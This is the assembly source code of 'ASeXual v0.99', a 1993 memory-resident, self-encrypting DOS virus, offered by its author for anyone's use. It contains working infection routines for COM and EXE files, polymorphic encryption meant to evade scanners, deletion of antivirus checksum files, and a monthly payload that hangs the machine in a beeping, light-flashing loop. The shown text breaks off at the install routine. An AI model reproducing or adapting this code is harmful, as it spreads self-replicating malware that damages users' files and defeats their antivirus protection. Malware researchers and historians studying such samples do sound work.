;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ************************************************
;     ASeXuAl v0.99 - BY VIROGEN - 10-12-93
; ************************************************
;  - Compatible with : TASM /m2
;
;   This virus is actually the continuance of the Offspring line of virii..
;   BUT I decided to change the name because 98% of the virus code has
;   changed since the released of the first Offspring virus, and I felt
;   this release had substantial changes that finally merit a new name!
;
;        ASeXual v0.99
;     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;  characteristics:
;    This virus is a memory resident parastic COM infector and spawning
;   EXE infector. It is mutative.. with only 2 bytes remain constant
;   in replicated copies, but none in constant relative locations to the start
;   of viral code or to each other. It infects up to 5 files in the
;   current directory which a program is executed or a new drive is selected.
;   It first searches out EXE hosts, and if there are none to be infected,
;   it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files
;   in the current directory are killed before any file is infected.   This
;   virus is also kept encrypted in memory to prevent easy detection of it
;   there too.     It's code is stored just below the 640k boundary.
;
;  activation:
;   This is a non-malicious virus and it's activation is simple.. On the
;   2nd of any month, when an infected program is executed it displays :
;    "ASeXual virus v0.99 - Your computer has been artificially Phucked!"
;   .. while beeping and flashing the keyboard lights as well as attempting
;   print screens.
;
;   Do whatever you want with this virus.. but don't take my name off
;   the code. .. oh yea.. and don't hold me responsible if you infect
;   yourself, or someone else.  It's not my problem.
;
            title   ASeXual v0.99
cseg	    segment
	    assume  cs: cseg, ds: cseg, ss: cseg, es: cseg

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; equates
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

signal      equ     7fh                     ; Installation check
reply       equ     0fah                    ; reply to check

max_inf     equ     05                      ; Maximum files to infect per run
max_rotation equ    9                       ; number of bytes in switch byte table
parastic    equ	    01			    ; Parastic infection
spawn	    equ	    00			    ; Spawning infection

	    org	    100h		    ; Leave room for PSP

start:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encryption/Decryption routine location
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fill_space :
shit_space    db          6  dup(0)         ; help to keep TBAV warnings down
address_fill: jmp         non_res           ; only in original compilation
              db          17 dup(0)         ; MOV DI|SI placed here
encrypt:                                    ; For call from memory
cx_fill       db           20 dup(0)        ; MOV CX,XXXX placed here
xor_inc_space db          100 dup(0)        ; XOR and INC DI|SI(2) placed here
loop_fill     db           10 dup(0)        ; LOOP Placed Here
enc_data:
ret_byte      dw           9090h            ; Changes to RET (0C3h) - then back to NOP

jmp           non_res                        ; jump to nonresident code

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 21h - DOS function calls
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

new21	    proc    			    ; New INT 21H handler

	    cmp	    ah, signal		    ; signaling us?
            jne     no                      ; nope..
	    mov	    ah,reply		    ; yep, give our offspring what he wants
            jmp     end_21                  ; end our involvment
 no:
            cmp     ah,0Eh                  ; select disk?
            je      run_res                 ; yes.. let's infect
            cmp     ax,4b00h                ; exec func?
            jne     end_21                  ; nope.. don't infect shit

 exec_func:
            cmp     ch,0FBh                 ; Is our virus executing this prog?
            je      end_21                  ; yes, return to orginal INT 21h
 run_res:
            pushf                           ; Push flags
            push    ax                      ; Push regs
	    push    bx
	    push    cx
	    push    dx
	    push    di
            push    si
            push    bp
	    push    ds
	    push    es
	    push    sp
	    push    ss

            push    cs                      ; ds=cs
	    pop	    ds

            mov     ah,2fh                  ; Get DTA Address
            int     21h                     ;

            mov     ax,es                   ; Save it so we can restore it
            mov     word ptr old_dta,bx
            mov     word ptr old_dta+2,ax
            push    cs                      ; es=cs
            pop     es

            call    encrypt_mem             ; decrypt virus in memory
            call    resident                ; Call infection kernal
            call    encrypt_mem             ; encrypt virus in memory

            mov     dx,word ptr old_dta     ; restore DTA
            mov     ax,word ptr old_dta+2   ;
            mov     ds,ax                   ;
            mov     ah,1ah                  ;
            int     21h                     ;

            pop     ss                      ; Pop regs
	    pop	    sp
	    pop	    es
	    pop	    ds
	    pop	    bp
            pop     si
            pop     di
	    pop	    dx
	    pop	    cx
	    pop	    bx
	    pop	    ax
            popf                            ; Pop flags
 end_21  :
	    db	    0eah		    ; jump to original int 21h
old21_ofs   dw	    0			    ; Offset of old INT 21H
old21_seg   dw	    0			    ; Seg of old INT 21h
new21       endp                            ; End of handler

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encrypt/Decrypt - For memory encryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_mem proc
         lea    di,memory_encrypted
         mov    cx,(offset vend-offset memory_encrypted)/2
       mem_xor_loop:
         db     81h,35h                    ; XOR word ptr [DI],
         xor_mem dw 0                      ; XXXX : 0-5999
         inc    di                         ; increment pointer
         inc    di                         ; increment pointer
        loop    mem_xor_loop               ; loop..
        ret                                ; return
encrypt_mem  endp
memory_encrypted:                       ; start encryption in memory here..
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INT 24h - Critical Error Handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
eh        proc
          mov al,3              ; fail call
          iret                  ; interrupt return
eh        endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Clear ff/fn buf
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_buf   proc
            mov     word ptr fcb,0         ; Clear ff/fn buffer
            lea     si, fcb
            lea     di, fcb+2
            mov     cx, 22
            cld
            rep     movsw
            ret
clear_buf   endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findfirst
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ff_func     proc

            call    clear_buf            ; Clear FCB

            mov     ah, 4eh              ; Findfirst
            xor     cx, cx               ; Set normal file attribute search
            mov     dx, fname_off
            int     21h

            ret
ff_func     endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Findnext
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fn_func     proc

            mov     ah,4fh          ; find next file
            int     21h             ;

            ret
fn_func     endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Fills encryption/decryption routine
;
; call with DX=word to fill with
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
clear_encryptor proc

            mov     cx,78                 ; 156 bytes
            lea     si,fill_space         ; beginning of null space
 fill_loop:
            mov     [si],dx               ; fill null bytes with same op
            inc     si                    ;
            inc     si                    ;
            loop fill_loop                ;

        ret
clear_encryptor endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Resident - This is called from our INT 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
resident    proc

            xor     ax,ax                       ; es=segment 0
            mov     es,ax                       ; ..
            mov     ax,es:[24h*4+2]             ; get segment of INT 24h
            mov     bx,es:[24h*4]               ; get offset of INT 24h
            mov     old_eh_seg,ax               ; save segment
            mov     old_eh_off,bx               ; save offset
            cli                                 ; turn off interrupts
            mov     es:[24h*4+2],ds             ; set segment to our handler
            lea     ax,eh                       ;
            mov     es:[24h*4],ax               ; set offset to our handler
            sti

            push ds                             ; es=ds
            pop  es

                                                ; Set DTA address - This is for the
            mov     ah, 1ah                     ; findfirst/findnext functions
            lea     dx, fcb
            int     21h

            mov     byte ptr vtype,spawn       ; infection type = spawning
            mov     word ptr set_bp,0000       ; BP=0000 on load
            mov     byte ptr inf_count,0       ; null infection count
            mov     fname_off, offset spec ; Set search for CHKLIST.*
            mov     word ptr mov_di,offset enc_data   ; offset past encrypt.

 cont_res:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
            xor     cx,cx                ; keep track of which we've killed
 kill_another_spec:
            push    cx

            call    ff_func             ; find first

            jc      done_kill           ; none found.. done
 kill_loop:
            mov     ax,4301h            ; Set file attributes to null
            xor     cx,cx               ;
            lea     dx,f_name           ;
            int     21h                 ;

            mov     ah,3ch              ; create file = nullify size
            xor     cx,cx               ;
            lea     dx,f_name           ;
            int     21h                 ;
            push    ax                  ; get handle
            pop     bx                  ;

            mov     ah,3eh              ; close file
            int     21h                 ;

            mov     ah,41h              ; delete the file to finish 'er off
            lea     dx,f_name           ;
            int     21h                 ;
            call fn_func
            jnc     kill_loop          ; if more then kill 'em

 done_kill:
             pop   cx                   ; restore spec counter
             inc   cx                   ; increment spec counter
             mov   fname_off,offset spec2 ; new file spec to kill
             cmp   cx,2                 ; have we already killed both?
             jne   kill_another_spec    ; nope.. kell 'em

            mov     fname_off,offset fname1
 find_first:
            call    ff_func              ; findfirst

            jnc     next_loop            ; if still finding files then loop
            jmp     exit                 ; if not.. then end this infection
 next_loop :
            cmp     byte ptr vtype, parastic ; parastic infection?
            je      start_inf                ; yes, skip all this

            mov     ah,47h                   ; get directory for
            xor     dl,dl                    ; ..spawning infections
            lea     si,file_dir              ;
            int     21h                      ;

           cmp     word ptr f_sizel,0 ; Make sure file isn't 64k+
           je      ok_find                   ; for spawning infections
           jmp     find_file

 ok_find:
            xor     bx,bx                    ;
            lm3     :                        ; find end of directory name
            inc     bx                       ;
	    cmp	    file_dir[bx],0
	    jne	    lm3

	    mov	    file_dir[bx],'\'	    ; append backslash to path
	    inc	    bx

	    mov	    cx,13		    ; append filename to path
            lea     si,f_name
	    lea	    di,file_dir[bx]
	    cld
	    rep	    movsb

            xor     bx,bx
 loop_me:                                   ; search for filename ext.
	    inc	    bx
            cmp     byte ptr fcb+1eh [bx], '.'
	    jne	    loop_me

	    inc	    bx			    ; change it to COM
            mov     word ptr fcb+1eh [bx],'OC'
            mov     byte ptr fcb+1eh [bx+2],'M'
 start_inf:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change jump & fill space register
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

            cmp     byte ptr new_code, 0BFh
            jne     inc_both
            mov     nop_sub, 3fh
            mov     byte ptr new_code, 0B7h
            mov     byte ptr push_reg, 4Fh
inc_both:
            inc     nop_sub                ; increment register
            inc     byte ptr new_code      ; increment register
            inc     byte ptr push_reg      ; increment register

            cmp     nop_sub, 044h         ; don't use SP
            je      inc_both
done_change_jmp:

            cmp     byte ptr vtype, parastic ; parastic infection?
	    je	    parastic_inf	    ; yes.. so jump

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Spawning infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

            mov     word ptr new_code+1,offset fill_space

            lea     dx,f_name
            mov     cx, 02h              ; read-only
            or      cx, 01h              ; hidden
            mov     ah, 3ch              ; Create file
            int     21h                  ; Call INT 21H
            jnc     contin               ; If Error-probably already infected
            jmp     no_infect
 contin:
	    inc	    inf_count
	    mov	    bx,ax

	    jmp	    encrypt_ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Parastic infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 parastic_inf :


            lea     si,f_name              ; Is Command.COM?
	    lea	    di,com_name
	    mov	    cx,11
	    cld
	    repe    cmpsb

            jne     cont_inf0              ; Yes, don't infect
            jmp     no_infect

 cont_inf0:
            mov     ax,3d02h               ; Open file for reading & writing
            lea     dx,f_name              ; Filename in FF/FN buffer
	    int	    21h

            jnc     cont_inf1              ; error, skip infection
	    jmp	    no_infect

 cont_inf1:
            mov     bx,ax                   ; get handle

            mov     ah,3fh                  ; Read first bytes of file
            mov     cx,07
            lea     dx,org_bytes
            int     21h

            cmp     byte ptr org_bytes+4,0C3h ; already infected?
            jne     cont_inf                ; nope let's infect this sucker

            mov     ah,3eh
            int     21h
            jmp     no_infect

 cont_inf:
            inc     inf_count
	    mov	    ax,4202h		    ; Set pointer to end of file, so we
	    xor	    cx,cx		    ; can find the file size
	    xor	    dx,dx
	    int	    21h

	    mov	    word ptr set_bp,ax	    ; Change the MOV BP inst.
            add     ax, offset enc_data
	    mov	    word ptr mov_di,ax	    ; chg mov di,xxxx

            mov     ax,4200h                ; set file pointer to beginning
	    xor	    cx,cx
	    xor	    dx,dx
	    int	    21h

            mov     ax,word ptr f_sizeh      ; save new address for parastic
            add     ax,offset fill_space     ;
            mov     word ptr new_code+1,ax   ;

            mov     ah,40h                   ; write new first 7 bytes
            mov     cx,7                     ; .. jumps to virus code
            lea     dx,new_code              ;
            int     21h                      ;

            mov     ax,4202h                 ; Set file pointer to end of file
            xor     cx,cx                    ;
            xor     dx,dx                    ;
	    int	    21h

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Change encryptions ops
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
encrypt_ops:
            push    bx                      ; save file handle

            cmp     pad_bytes,100h          ; no more increase in file size?
            je      reset_pad               ; if yes, reset
	    inc	    word ptr pad_bytes	    ; Increase file size
            inc     word ptr b_wr           ; make note of the increase
            jmp     pad_ok                  ; don't reset pad
 reset_pad:
            mov     word ptr pad_bytes,0    ; reset pad size
            sub     word ptr b_wr,100h      ; make note of decrease

 pad_ok:

	    cmp	    inc_op,47h		    ; change ops from DI to SI
            jne     set2                    ; jmp-change ops to SI
            dec     inc_op                  ; .. change code to use DI
            dec     byte ptr xor_op+1       ;
            dec     di_op                   ;
            dec     byte ptr enc_addr       ;
            dec     byte ptr enc_add+1      ;
            jmp     chg_three               ;
 set2:
            inc     inc_op                  ; increment code to use SI
            inc     byte ptr xor_op+1       ;
            inc     di_op                   ;
            inc     byte ptr enc_addr       ;
            inc     byte ptr enc_add+1      ;

 chg_three:
            mov     dh,byte ptr nop_sub   ; which byte did we use to fill space?
            cmp     dh,48h                ; if INC AX then we need to reset it
            jne     _change               ; else decrement it
            mov     dh,40h                ; reset to DEC AX
 _change:
            cmp     dh,41h                ; Don't use INC CX..
            jne     no_conflict           ;
            mov     dh,48h                ; Change it to DEC AX instead
 no_conflict:
            cmp     dh,47h                ; Don't use INC DI
            jne     no_conflict2          ;
            mov     dh,4Bh                ; Use DEC BX Instead
 no_conflict2:
            cmp     dh,46h                ; Don't use INC SI
            jne     no_conflict3
            mov     dh,0FBh               ; Use STI instead
 no_conflict3:
            mov     dl,dh                 ; mov into word reg dx

            call    clear_encryptor       ; fill encryption routine with op

            mov     ah,inc_op             ; get register to increment
            mov     bx,change_num         ; get current rotate count
            cmp     bh,0                  ; are we at the end of the INCs?
            jne     no_reset_change       ; nope.. continue
            mov     bh,99                 ; reset INC #1 position
            xor     bl,bl                 ; reset INC #2 position
 no_reset_change:
            inc     bl                    ; Increment INC #2 position
            dec     bh                    ; Decrement INC #1 position
            mov     cl,bl                 ; store position in CL to add
            xor     ch,ch                 ; high byte = 0
            lea     si,xor_inc_space      ;
            push    si                    ; save address
            push    si                    ; save it twice
            add     si,cx                 ; add INC #2 position to SI
            mov     byte ptr [si],ah      ; move INC #2 into address
            pop     si                    ; restore address of fill_space
            mov     cl,bh                 ; store position in CL to add
            xor     ch,ch                 ; high byte = 0
            add     si,cx                 ; add INC #1 position to SI
            mov     byte ptr [si],ah      ; move INC #1 into address
            mov     change_num,bx         ; store updated rotation number

            pop     si                    ; get xor_inc_space address
            mov     ax,xor_pos            ; get old position of XOR
            cmp     ax,95                 ; is it at the end of the buffer?
            jne     xor_ok                ; nope.. increment its position
            mov     ax,10                 ; reset position to buffer+10
  xor_ok:
            inc     ax                    ; increment position pointer
            add     si,ax                 ; build pointer
            mov     dx,word ptr xor_op    ; get XOR op
            mov     [si],dx               ; place it into position
            mov     xor_pos,ax            ; save new XOR location

            mov     ax,addr_pos           ; get old position of MOV DI|SI
            cmp     ax,17                 ; at end of buffer?
            jne     addr_inc              ; nope.. go increment
            xor     ax,ax                 ; yes.. reset to null
  addr_inc:
            inc     ax                    ; increment pointer
            lea     di,address_fill       ; get buffer address
            add     di,ax                 ; build pointer
            lea     si,di_op              ; get address of op
            mov     cx,3                  ; 3 bytes
            rep     movsb                 ; copy op to location in buffer
            mov     addr_pos,ax           ; save new MOV DI|SI position

            mov     ax,cx_pos             ; get old position of MOV CX
            cmp     ax,0                  ; back to beginning of buffer?
            jne     cx_dec                ; nope.. decrement location
            mov     ax,17                 ; reset to last position in buffer
   cx_dec:
            dec     ax                    ; decrement pointer
            lea     di,cx_fill            ; get address of buffer
            add     di,ax                 ; build pointer to new location
            lea     si,cx_op              ; get address of MOV CX op
            mov     cx,3                  ; 3 bytes length
            rep     movsb                 ; copy to new location
            mov     cx_pos,ax             ; save new position of MOV CX

            mov     ax,loop_pos           ; get old position of LOOP
            cmp     ax,0                  ; at beginning of buffer?
            jne     loop_inc              ; nope decrement
            mov     ax,8                  ; reset to end of buffer
   loop_inc:
            dec     ax                    ; decrement pointer
            lea     di,loop_fill          ; get address of buffer
            add     di,ax                 ; build pointer
            mov     dl,0E2h               ; 0E2XX=LOOP XXXX
            xor     ch,ch                 ; high byte=null
            mov     cl,9Ah                ; calculate LOOP offset
            sub     cx,ax                 ;
            mov     dh,cl                 ; save new offset
            mov     [di],dx               ; write LOOP op
            mov     loop_pos,ax           ; save new position of LOOP

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Get random XOR number, save it, copy virus, encrypt code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 d2:
            mov     ah,2ch                  ;
            int     21h                     ; Get random number from clock - sec/ms
            lea     si,xor_inc_space+2      ; build pointer to XOR location+2
            add     si,xor_pos              ;
            mov     word ptr [si],dx        ; save encryption #
            push    dx
            mov     word ptr xor_mem,0000

            mov     si,0100h                ; 100h=start of virus in memory
            lea     di,vend+50              ; destination
	    mov	    cx,offset vend-100h	    ; bytes to move
	    cld
	    rep	    movsb		    ; copy virus outside of code

            pop     dx
            mov     word ptr xor_mem,dx
 enc_addr:
	    mov	    di,offset vend
 enc_add:
            add     di,offset enc_data-100h+50 ; offset of new copy of virus
 go_enc:
            mov     byte ptr ret_byte,0c3h  ; make encryption routine RET
            call    encrypt                 ; encrypt new copy of virus
            mov     byte ptr ret_byte,90h   ; Reset it to no RETurn
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Write and close new infected file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    pop	    bx
	    mov	    cx, offset vend-100h    ; # of bytes to write
	    add	    cx, pad_bytes
            lea     dx, vend+50             ; Offset of buffer
	    mov	    ah, 40h		    ; -- our program in memory
	    int	    21h			    ; Call INT 21H function 40h

	    mov	    ax,5701h		    ; Restore data/time
            mov     cx,word ptr f_time      ; time from FCB
            mov     dx,word ptr f_date      ; date from FCB
	    int	    21h


 close:
            mov     ah, 3eh                 ; close file
	    int	    21h

 no_infect:
 find_file:

            cmp     inf_count, max_inf       ; Max files found?
            je      exit                     ; yes, end infection
            call    fn_func
            jc      exit                     ; if no files found.. quit
            jmp     next_loop                ; infect the next file

 exit    :
            cmp     inf_count,0              ; Start parastic infection on next run
            jne     find_done                ; nope.. we're done
            cmp     byte ptr vtype, parastic ; Parastic infection done?
            je      find_done                ; yep, exit already
	    mov	    fname_off, offset fname2 ; Point to new filespec
	    mov	    byte ptr vtype, parastic ; virus type = parastic
            jmp     find_first               ; do it again for parastic


 find_done:
            xor    ax,ax
            mov    es,ax                ; es = 0
            cli                         ; interrupts off
            mov     ax,old_eh_seg       ; get old int 24h segment
            mov     bx,old_eh_off       ; get old int 24h offset
            mov     es:[24h*4+2],ax     ; restore int 24h segment
            mov     es:[24h*4],bx       ; restore int 24h offsetn
            sti                         ; interrupts on
            
            xor     dx,dx               ; fill encryption routine with 0
            call    clear_encryptor     ; .. maybe help lessen IDed in memory?

            ret                         ; return
resident    endp

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;  Non-Resident portion of virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
non_res        proc

            db      0bdh                    ; MOV BP,xxxx - Load delta offset
set_bp:     dw      0000

            mov     ax,ds: 002ch            ; Get environment address
            mov     par_blk[bp],ax          ; Save in parameter block for exec

            mov     par1[bp],cs             ; Save segments for spawn
            mov     par2[bp],cs
            mov     par_seg[bp],cs

            mov     ah,2ah                  ; Get date
            int     21h

            cmp     dl,2                    ; 2nd?
            jne     no_display              ; nope.. don't activate today

 show_myself:
            mov     ah,09                   ; display virus name
            lea     dx,v_id[bp]
            int     21h

            xor     ax,ax                   ; seg 0
            mov     es,ax
            mov     dx,1010101010101010b    ; lights
 chg_lights:                                ; Infinite loop to change keyboard
            mov     word ptr es: [416h],dx  ; 0040:0016h = keyb flags
            ror     dx,1                    ; rotate bits
            mov     cx,0101h                ; scan code/ascii
            mov     ah,05h                  ; push a beep onto keyb buf
            int     16h
            mov     ah,10h                  ; Read key back so we don't fill
            int     16h                     ; up the keyboard buffer
            int     5h                      ; Print-Screen
            mov     ax,0a07h                ; Write BEEP to screen
            xor     bh,bh
            mov     cx,1
            int     10h
            mov     ah,86h                  ; Delay
            mov     cx,0002h
            int     15h

            jmp     chg_lights

 no_display:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; INSTALL - Install the virus in memory
